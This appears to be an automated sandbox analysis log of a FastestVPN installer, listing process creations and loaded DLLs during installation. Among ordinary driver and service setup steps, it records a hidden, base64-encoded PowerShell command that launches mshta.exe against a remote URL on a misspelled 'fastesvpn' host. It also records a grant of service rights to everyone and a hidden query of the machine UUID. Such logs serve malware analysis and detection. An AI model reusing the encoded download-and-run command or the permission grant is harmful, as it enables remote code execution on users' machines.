    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat""
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ver
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe remove tap0901
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe install OemVista.inf tap0901
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "0000000000000100" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64"
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.2.601:tap0901," "4d14a44ff" "0000000000000160"
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat""
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop fastestvpndriver
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "Windows 7"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\xcopy.exe xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe -u fastestvpndriver
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe fastestvpndriver
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" stop FastestVPNService
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --uninstall
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2988 -ip 2988
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 1076
    Source: unknownProcess created: C:\Program Files\FastestVPN\FastestVPN.exe "C:\Program Files\FastestVPN\FastestVPN.exe" -autorun
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" delete FastestVPNService
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --install
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Program Files\FastestVPN\subinacl.exe "C:\Program Files\FastestVPN\subinacl.exe" /service FastestVPNService /GRANT=everyone=TO
    Source: C:\Program Files\FastestVPN\subinacl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" start FastestVPNService
    Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: unknownProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe"
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\regedit.exe regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Program Files\FastestVPN\FastestVPN.exe "C:\Program Files\FastestVPN\FastestVPN.exe"
    Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\mapMd1URzq.exeProcess created: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp "C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp" /SL5="$103C6,10597393,735744,C:\Users\user\Desktop\mapMd1URzq.exe" Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" stop FastestVPNServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --uninstallJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\sc.exe "C:\Windows\system32\sc.exe" delete FastestVPNServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --installJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Program Files\FastestVPN\subinacl.exe "C:\Program Files\FastestVPN\subinacl.exe" /service FastestVPNService /GRANT=everyone=TOJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpProcess created: C:\Program Files\FastestVPN\FastestVPN.exe "C:\Program Files\FastestVPN\FastestVPN.exe"Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe remove tap0901Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe tapinstall.exe install OemVista.inf tap0901Jump to behavior
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "0000000000000100" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64"Jump to behavior
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\drvinst.exe DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.2.601:tap0901," "4d14a44ff" "0000000000000160"Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop fastestvpndriverJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "x86" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /i "Windows 7" Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\xcopy.exe xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\driversJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe -u fastestvpndriverJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe release\nfregdrv.exe fastestvpndriverJump to behavior
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2988 -ip 2988
    Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 1076
    Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknown
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\regedit.exe regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
    Source: C:\Users\user\Desktop\mapMd1URzq.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\Desktop\mapMd1URzq.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: mpr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: winhttp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: wtsapi32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: winsta.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: textinputframework.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: coreuicomponents.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: coremessaging.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: ntmarta.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: coremessaging.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: shfolder.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: rstrtmgr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: ncrypt.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: ntasn1.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: textshaping.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: msftedit.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: windows.globalization.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: bcp47langs.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: bcp47mrm.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: globinputhost.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: windows.ui.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: windowmanagementapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: inputhost.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: twinapi.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: twinapi.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: propsys.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: dwmapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: explorerframe.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: sfc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: sfc_os.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: linkinfo.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: ntshrui.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: srvcli.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: cscapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
    Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Windows\System32\find.exeSection loaded: ulib.dllJump to behavior
    Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: spinf.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: drvstore.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: newdev.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: cabinet.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: umpnpmgr.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: drvstore.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: cabinet.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: drvstore.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Windows\System32\drvinst.exeSection loaded: cabinet.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: netsetupsvc.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: netsetupapi.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: netsetupuser.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: implatsetup.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: devrtl.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: spinf.dllJump to behavior
    Source: C:\Windows\System32\svchost.exeSection loaded: drvstore.dllJump to behavior
    Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
    Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Windows\System32\find.exeSection loaded: ulib.dll
    Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dll
    Source: C:\Windows\System32\find.exeSection loaded: ulib.dll
    Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: ulib.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: ifsutil.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: devobj.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: fsutilext.dll
    Source: C:\Windows\System32\xcopy.exeSection loaded: ntmarta.dll
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeSection loaded: apphelp.dll
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeSection loaded: nfapi.dll
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeSection loaded: nfapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mscoree.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: apphelp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: windows.storage.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: wldp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: profapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptsp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rsaenh.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wersvc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: windowsperformancerecordercontrol.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: weretw.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: faultrep.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dbghelp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dbgcore.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
